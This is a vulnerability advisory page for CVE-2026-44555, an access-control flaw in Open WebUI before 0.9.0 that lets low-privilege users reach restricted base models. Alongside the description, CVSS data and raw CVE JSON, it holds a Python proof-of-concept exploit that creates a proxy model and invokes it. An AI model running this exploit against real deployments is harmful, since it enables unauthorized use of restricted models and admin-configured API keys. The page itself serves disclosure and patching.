Security Vulnerability Report
δΈ­ζ–‡
CVE-2026-44555 CVSS 7.6 HIGH

CVE-2026-44555

Published: 2026-05-15 20:16:47
Last Modified: 2026-05-15 21:16:36

Description

Open WebUI is a self-hosted artificial intelligence platform designed to operate entirely offline. Prior to 0.9.0, Open WebUI supports model composition via base_model_id: a user-defined model (e.g., "Cheap Assistant") can reference an existing base model (e.g., "gpt-4-turbo-restricted") that provides the actual inference capability. When a user queries the composed model, the access control pipeline verifies the user has access to the composed model but never re-verifies access to the chained base model. Additionally, the model creation and import endpoints accept arbitrary base_model_id values without checking that the caller has access to that base model. Combined, this allows any user with the default model creation permission to create a model that chains to a restricted base model β€” and then invoke it, causing the server to dispatch the request to the restricted base model using the admin-configured API key. This vulnerability is fixed in 0.9.0.

CVSS Details

CVSS Score
7.6
Severity
HIGH
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:L/A:L

Configurations (Affected Products)

No configuration data available.

Open WebUI < 0.9.0

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
import requests import json # Target configuration TARGET_URL = "http://localhost:3000" API_KEY = "user_low_privilege_token" # Low privilege user token RESTRICTED_MODEL_ID = "gpt-4-admin-only" # ID of the restricted model headers = { "Authorization": f"Bearer {API_KEY}", "Content-Type": "application/json" } # Step 1: Create a malicious model linking to the restricted base model # The vulnerability allows arbitrary base_model_id without permission check model_payload = { "id": "attack-model-proxy", "name": "Attack Proxy", "base_model_id": RESTRICTED_MODEL_ID, "description": "Proxy model to bypass ACL" } print("[*] Creating malicious model...") create_resp = requests.post(f"{TARGET_URL}/api/models/create", json=model_payload, headers=headers) if create_resp.status_code == 200: print("[+] Malicious model created successfully.") # Step 2: Invoke the restricted model via the created proxy chat_payload = { "model": "attack-model-proxy", "messages": [{ "role": "user", "content": "Hello, can you access restricted data?" }] } print("[*] Sending chat request through proxy...") chat_resp = requests.post(f"{TARGET_URL}/v1/chat/completions", json=chat_payload, headers=headers) if chat_resp.status_code == 200: print("[+] Exploit successful! Response from restricted model:") print(json.dumps(chat_resp.json(), indent=2)) else: print(f"[-] Request failed: {chat_resp.text}") else: print(f"[-] Model creation failed: {create_resp.text}")

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2026-44555", "sourceIdentifier": "[email protected]", "published": "2026-05-15T20:16:46.967", "lastModified": "2026-05-15T21:16:35.913", "vulnStatus": "Received", "cveTags": [], "descriptions": [{"lang": "en", "value": "Open WebUI is a self-hosted artificial intelligence platform designed to operate entirely offline. Prior to 0.9.0, Open WebUI supports model composition via base_model_id: a user-defined model (e.g., \"Cheap Assistant\") can reference an existing base model (e.g., \"gpt-4-turbo-restricted\") that provides the actual inference capability. When a user queries the composed model, the access control pipeline verifies the user has access to the composed model but never re-verifies access to the chained base model. Additionally, the model creation and import endpoints accept arbitrary base_model_id values without checking that the caller has access to that base model. Combined, this allows any user with the default model creation permission to create a model that chains to a restricted base model β€” and then invoke it, causing the server to dispatch the request to the restricted base model using the admin-configured API key. This vulnerability is fixed in 0.9.0."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:L/A:L", "baseScore": 7.6, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "LOW", "availabilityImpact": "LOW"}, "exploitabilityScore": 2.8, "impactScore": 4.7}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-862"}]}], "references": [{"url": "https://github.com/open-webui/open-webui/security/advisories/GHSA-9vvh-qmjx-p4q8", "source": "[email protected]"}, {"url": "https://github.com/open-webui/open-webui/security/advisories/GHSA-9vvh-qmjx-p4q8", "source": "134c704f-9b21-4f2e-91b3-4a467353bcc0"}]}}